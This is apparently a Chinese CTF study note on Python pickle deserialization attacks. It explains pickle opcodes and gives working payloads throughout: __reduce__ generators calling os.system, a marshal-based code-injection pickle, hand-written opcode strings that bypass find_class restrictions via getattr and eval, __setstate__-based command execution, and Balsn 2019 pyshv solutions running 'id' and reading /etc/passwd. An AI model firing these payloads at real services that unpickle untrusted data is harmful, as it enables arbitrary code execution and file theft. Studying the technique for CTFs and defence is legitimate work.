python pickle 任意代码执行漏洞与Payload构造

这几天本地搭了BSidesTLV 2018的赛题环境练习,学到了一个python代码安全的姿势,在这里记录一下。

pickle/cPickle我们都知道(cPickle和pickle用法一样不做区别),它是python序列化存储对象的一个工具,就像php反序列化存在漏洞,python序列化对象被反序列化后也很有可能执行其中的恶意代码,导致任意代码执行。这意味着如果一个程序反序列化不经验证来源的序列化数据,我么就能利用它执行任意代码。

__reduce__魔法函数

要反序列化执行代码少不了像php一样的魔法函数,pickle允许任意一个对象去定义一个__reduce__方法来声明怎么去序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。

这样的话,那么我们写一个类,再把恶意代码写到__reduce__的返回中就行了嘛,就像下面这样

import cPickle
import os
import urllib

class genpoc(object):
    def __reduce__(self):
        s = """ls /"""  #要执行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle文件

这时候我们在用下面的验证代码验证一下

import pickle

pickle.load(open('./poc.pickle'))

我们可以看到下面,已经执行了我们想要的代码

执行更多的代码

:Python3 func_code 改为__code__ 且会受到版本限制,最好在目标版本生成。

我们可以看到,像上面那样构造的话,我们只能执行一些简单的系统函数。如果想要执行自己写的代码的话,我们可以用到一个可以序列化代码的模块Marshal,这时,我们将我们要执行的代码写入一个函数中:

import marshal
import base64
import cPickle
import urllib

def foo():
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)


code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

好,现在上面的经过Marshal序列化的内容,pickle可以将它序列化了(对,为了序列化代码,我们序列化了两次)。那么我们希望在pickle反序列化它后能执行如下

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ))()

再经过Marshal反序列化等操作,就能执行上面的我们自己写的代码了。为了使得pickle反序列化过程中能进行如上的一系列操作(先base64解密在Marshal反序列化,最后执行),我们得了解一点pickle序列化的结果。在这里我们简要理解一下,这篇文章这篇文章讲的更清楚一些。

简而言之,对于简单的系统函数和对象,pickle会以某种格式存储,而我们上面构造的code_serialized只要作为一个特定位置的参数输入就行,比如下面这个

import marshal
import base64
import cPickle
import urllib

def foo():
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

payload =  """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % code_serialized

print "------------------------------------------------"
print payload
fp =open("poc.pickle","w")
fp.write(payload)

在这里感谢bit4's的代码。我们将code_serialized作为参数输入构造好的pickle数据中写入文件,尝试一下

可以看到,代码执行了。

pickle 基础

指令集

手写pickle

  • c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)
  • (:压入一个标志到栈中,表示元组的开始位置
  • t:从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • g:是p的反操作,从memo中取值
  • VS:向栈顶压入一个(unicode)字符串
  • b:state=pop(stack);instance=pop(stack)。然后利用state(字典)来更新instance。更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面
  • u:简而言之就是将当前栈内容放进一个数组中,在两个一读恢复成字典
  • \x81:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。
  • s:可以给一个字典加入键值对,也可以用来修改某个对象的属性或者方法。
  • .:表示整个程序结束
0: c    GLOBAL     'posix system' # 向栈顶压入`posix.system`这个可执行对象
14: p    PUT        0 # 将这个对象存储到memo的第0个位置
17: (    MARK # 压入一个元组的开始标志
18: V        UNICODE    'touch /tmp/success' # 压入一个字符串
38: p        PUT        1 # 将这个字符串存储到memo的第1个位置
41: t        TUPLE      (MARK at 17) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
42: p    PUT        2 # 将这个元组存储到memo的第2个位置
45: R    REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
46: p    PUT        3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
49: .    STOP # 结束整个程序

__reduce__执行命令

cos
system
(S'ls'
tR.

手动构造一个实例

\x80\x03c__main__\nABC\n)\x81}(S'a'\nS'123'\nS'b'\nS'ghj'\nub.

篡改实例属性

b'\x80\x03c__main__\nfavorite\n}(Vname\nVrua\nVcategory\nVwwffw\nub.'

后面正常返回一个类

b"\x80\x03c__main__\nfavorite\n}(Vname\nVrua\nVcategory\nVwwffw\nub0c__main__\nABC\n)\x81}(S'a'\nS'123'\nS'b'\nS'ghj'\nub."

被限制了引入的类

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR(cbuiltins\nglobals\n(tRS'__builtins__'\ntRp1\ncbuiltins\ngetattr\n(g1\nS'eval'\ntR(S'__import__(\'os\').popen(\'ls\').read()'\ntR ."

不用__reduce__RCE

原理简述:在b指令中介绍了,如果该实例存在__setstate__方法,那么就会把state交给__setstate__处理,如果我们先将一个实例的__setstate__修改为os.system,然后再压一个ls入栈,那么此时再执行b指令,就会执行os.system('ls').

b"c__main__\nABC\n)\x81}(S'__setstate__'\ncos\nsystem\nubS'ls /'\nb."

Balsn 2019 pyshv 3道题

pyshv1

b"csys\nmodules\np1\nS'sys'\ng1\ns0csys\nget\n(S'os'\ntRp2\n0g1\nS'sys'\ng2\ns0csys\nsystem\n(S'id'\ntR."

pyshv2

b"cstructs\n__dict__\np3\n0cstructs\n__builtins__\np1\n0cstructs\n__getattribute__\np2\n0g1\nS'__import__'\ng2\ns0g3\nS'structs'\ng1\ns0cstructs\nget\n(S'eval'\ntR(S'print(open(\'/etc/passwd\').read())'\ntR."

pyshv3

``

Reference

https://zhuanlan.zhihu.com/p/89132768

https://wywwzjj.top/2019/10/24/Python-pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90/

http://code2sec.com/python-picklede-ren-yi-dai-ma-zhi-xing-lou-dong-shi-jian-he-payloadgou-zao.html

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#2-PVM-%E7%9A%84%E7%BB%84%E6%88%90

https://xz.aliyun.com/t/2289

https://github.com/bit4woo/python_sec